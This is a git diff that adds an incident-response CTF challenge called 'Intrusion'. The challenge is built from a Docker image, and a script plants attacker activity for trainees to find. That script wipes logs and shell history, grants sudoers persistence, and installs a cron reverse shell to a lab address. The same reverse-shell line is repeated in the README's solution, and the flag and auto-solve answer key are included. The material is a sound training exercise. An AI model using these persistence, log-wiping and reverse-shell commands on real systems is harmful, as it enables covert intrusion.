diff --git a/challenges/intrusion/Dockerfile b/challenges/intrusion/Dockerfile new file mode 100644 index 0000000..7d6f1f3 --- /dev/null +++ b/challenges/intrusion/Dockerfile @@ -0,0 +1,38 @@ +FROM debian:bookworm + +# Set non-interactive frontend for apt-get +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && apt-get install -y \ + openssh-server \ + sudo \ + auditd \ + vim \ + wget \ + attr \ + less \ + python3 \ + libcap2-bin \ + grep \ + cron \ + && rm -rf /var/lib/apt/lists/* + +RUN mkdir /var/run/sshd + +# Create multiple users +RUN useradd -ms /bin/bash alice && echo 'alice:password' | chpasswd && usermod -aG sudo alice +RUN useradd -ms /bin/bash bob && echo 'bob:password' | chpasswd +RUN useradd -ms /bin/bash charlie && echo 'charlie:password' | chpasswd + +# Set root password +RUN echo 'root:i_am_administrator' | chpasswd + +# Configure SSH to allow root login and password authentication +RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config +RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config + +# Run attacker actions +COPY attack.sh /attack.sh +RUN /attack.sh && rm /attack.sh + +CMD ["/usr/sbin/sshd", "-D"] \ No newline at end of file diff --git a/challenges/intrusion/README.md b/challenges/intrusion/README.md new file mode 100644 index 0000000..254aa65 --- /dev/null +++ b/challenges/intrusion/README.md @@ -0,0 +1,41 @@ +# Intrusion + +A challenge where user SSHs into a machine and tries to find out what an attacker did in the server. + +### Task + +The user should find a reverse shell in Charlie user's crontab aswell as a comment with a flag. The flag is rot13 encoded +so that it cannot be easily grepped. + +## How to solve +
+ Click to reveal how to solve steps + +**TODO: Make the steps more detailed** + +1. The flag is stored in charlie's crontab in rot13 encoded form +```bash +root@hackerlab:~# ssh root@172.20.0.41 +root@172.20.0.41's password: +Linux fd1dd0993ceb 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 + +The programs included with the Debian GNU/Linux system are free software; +the exact distribution terms for each program are described in the +individual files in /usr/share/doc/*/copyright. + +Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent +permitted by applicable law. +Last login: Wed Oct 16 21:07:38 2024 from 172.20.0.2 + +root@fd1dd0993ceb:~# su charlie +charlie@fd1dd0993ceb:/root$ crontab -l +# Leave me here! OFL{9xCyoIOLhJgFkx6Bd62NNhLPyvaMp0PLnlZwSFq5BHccDkKCGLgT9uNnOwwW} +*/5 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/172.20.0.10/678 0>&1" +``` +2. Decode using eg. [cyberchef](https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=T0ZMezl4Q3lvSU9MaEpnRmt4NkJkNjJOTmhMUHl2YU1wMFBMbmxad1NGcTVCSGNjRGtLQ0dMZ1Q5dU5uT3d3V30) + +
+ +## Testing + +The script [auto-solve.sh](./auto-solve.sh) automatically verifies that the challenge can be solved. diff --git a/challenges/intrusion/attack.sh b/challenges/intrusion/attack.sh new file mode 100755 index 0000000..2e56571 --- /dev/null +++ b/challenges/intrusion/attack.sh @@ -0,0 +1,35 @@ +#!/bin/bash + +# Attacker clears their traces in log files +echo '' > /var/log/auth.log +cat /dev/null > /var/log/wtmp +cat /dev/null > /var/log/btmp +cat /dev/null > /var/log/lastlog + +# Attacker hides decoy clues in file metadata and extended attributes +echo "Nothing to see here." > /home/bob/notes.txt +setfattr -n user.note -v "This is the flag: https://www.youtube.com/watch?v=dQw4w9WgXcQ" /home/bob/notes.txt + +echo "Create a new PR with a new challenge for stratocyberlab." > /home/charlie/todo.txt +setfattr -n user.note -v "Or this is the flag? https://www.youtube.com/watch?v=dQw4w9WgXcQ" /home/charlie/todo.txt + +# Attacker leaves a process running for fun +nohup sleep 100000 & + +# Create the real malicious actions (creating reverse shell in charlies' crontab and add charlie to sudoers) +echo 'charlie ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers +su charlie -c " +(crontab -l; echo '# Leave me here! OFL{9xCyoIOLhJgFkx6Bd62NNhLPyvaMp0PLnlZwSFq5BHccDkKCGLgT9uNnOwwW}') | crontab -; +(crontab -l; echo '*/5 * * * * /bin/bash -c \"/bin/bash -i >& /dev/tcp/172.20.0.10/678 0>&1\"') | crontab -; +" + +# Attacker modifies system logs to hide cron job (simulated) +echo "" > /var/log/syslog + +# Attacker leaves a decoy message in logs +echo "You almost found it https://www.youtube.com/watch?v=dQw4w9WgXcQ" >> /var/log/.hidden_log + +# Attacker cleans up bash history +unset HISTFILE +rm /root/.bash_history +history -c diff --git a/challenges/intrusion/auto-solve.sh b/challenges/intrusion/auto-solve.sh new file mode 100755 index 0000000..12ce9c0 --- /dev/null +++ b/challenges/intrusion/auto-solve.sh @@ -0,0 +1,25 @@ +#!/bin/bash + +MATCH=`sshpass -p "i_am_administrator" ssh -q \ + -o UserKnownHostsFile=/dev/null \ + -o StrictHostKeyChecking=no \ + root@172.20.0.41 cat /var/spool/cron/crontabs/charlie | \ + grep -o OFL{9xCyoIOLhJgFkx6Bd62NNhLPyvaMp0PLnlZwSFq5BHccDkKCGLgT9uNnOwwW}` +if [[ "$MATCH" == "" ]] +then + echo "Error - did not find the rot13 encoded flag in a charlie's crontab" + exit 1 +fi + +# submit a flag in the submission server +RES=`curl -s 'http://172.20.0.3/api/challenges/submit' \ + -X POST \ + -H 'Content-Type: application/json' \ + --data-binary '{"challenge_id": "intrusion", "task_id": "task1", "flag" : "BSY{9kPlbVBYuWtSxk6Oq62AAuYClinZc0CYayMjFSd5OUppQxXPTYtG9hAaBjjJ}"}'` +if [[ $RES != *"Congratulations"* ]]; then + echo "Failed to submit the flag - $RES" + exit 2 +fi + +echo "OK - tests passed" + diff --git a/challenges/intrusion/docker-compose.yml b/challenges/intrusion/docker-compose.yml new file mode 100644 index 0000000..b088265 --- /dev/null +++ b/challenges/intrusion/docker-compose.yml @@ -0,0 +1,20 @@ +version: '3.3' + +services: + intrusion: + container_name: intrusion + stop_grace_period: 0s + build: . + networks: + playground-net: + ipv4_address: 172.20.0.41 + healthcheck: + test: ["CMD", "python", "-c", "'import requests; response = requests.get(\"http://localhost/\"); assert response.status_code == 200'"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 10s + +networks: + playground-net: + external: true \ No newline at end of file diff --git a/challenges/intrusion/meta.json b/challenges/intrusion/meta.json new file mode 100644 index 0000000..f667f2c --- /dev/null +++ b/challenges/intrusion/meta.json @@ -0,0 +1,14 @@ +{ + "name": "Intrusion", + "id": "intrusion", + "difficulty": "easy", + "description": "There was a security incident in a server that you administrate!!! IP of the server is 172.20.0.41. You usually log in using credentials \"root:i_am_administrator\"", + "tasks": [ + { + "id": "task1", + "name": "TODO", + "description": "Can you find what the attacker did and discover a flag?", + "flag": "BSY{9kPlbVBYuWtSxk6Oq62AAuYClinZc0CYayMjFSd5OUppQxXPTYtG9hAaBjjJ}" + } + ] +} \ No newline at end of file diff --git a/docs/development.md b/docs/development.md index 1661f89..f6d12cd 100644 --- a/docs/development.md +++ b/docs/development.md @@ -46,9 +46,11 @@ | playground-net | `172.20.0.30` | Challenge [What's the date?](./../challenges/what-is-the-date/) | | playground-net | `172.20.0.35` | Challenge [What's that noise?](./../challenges/what-is-that-noise/) | | playground-net | `172.20.0.39` | Callenge [Shockwave Report](./../challenges/shockwave-report) | + | playground-net | `172.20.0.41` | Callenge [Intrusion](./../challenges/intrusion) | | playground-net | `172.20.0.88` | [Class02](./../classes/class02) | | playground-net | `172.20.0.90` | [Class03](./../classes/class03) | - | playground-net | `172.20.0.95` | [Class03](./../classes/class03) | + | playground-net | `172.20.0.95` | [Class03](./../classes/class03) | + ## Testing diff --git a/hackerlab/Dockerfile b/hackerlab/Dockerfile index 1926582..7d76e38 100644 --- a/hackerlab/Dockerfile +++ b/hackerlab/Dockerfile @@ -3,7 +3,7 @@ FROM debian:bookworm COPY data /data RUN apt update && \ - apt install -y openssh-server curl vim nano nmap net-tools iputils-ping htop netcat-traditional dnsutils less tcpdump tmux wget iproute2 python3-pip git ncat rsyslog attr acl logcheck btop + apt install -y openssh-server curl vim nano nmap net-tools iputils-ping htop netcat-traditional dnsutils less tcpdump tmux wget iproute2 python3-pip git ncat rsyslog attr acl logcheck btop sshpass ENV TERM=xterm-256color RUN echo "PS1='\e[92m\u\e[0m@\e[94m\h\e[0m:\e[35m\w\e[0m# '" >> /root/.bashrc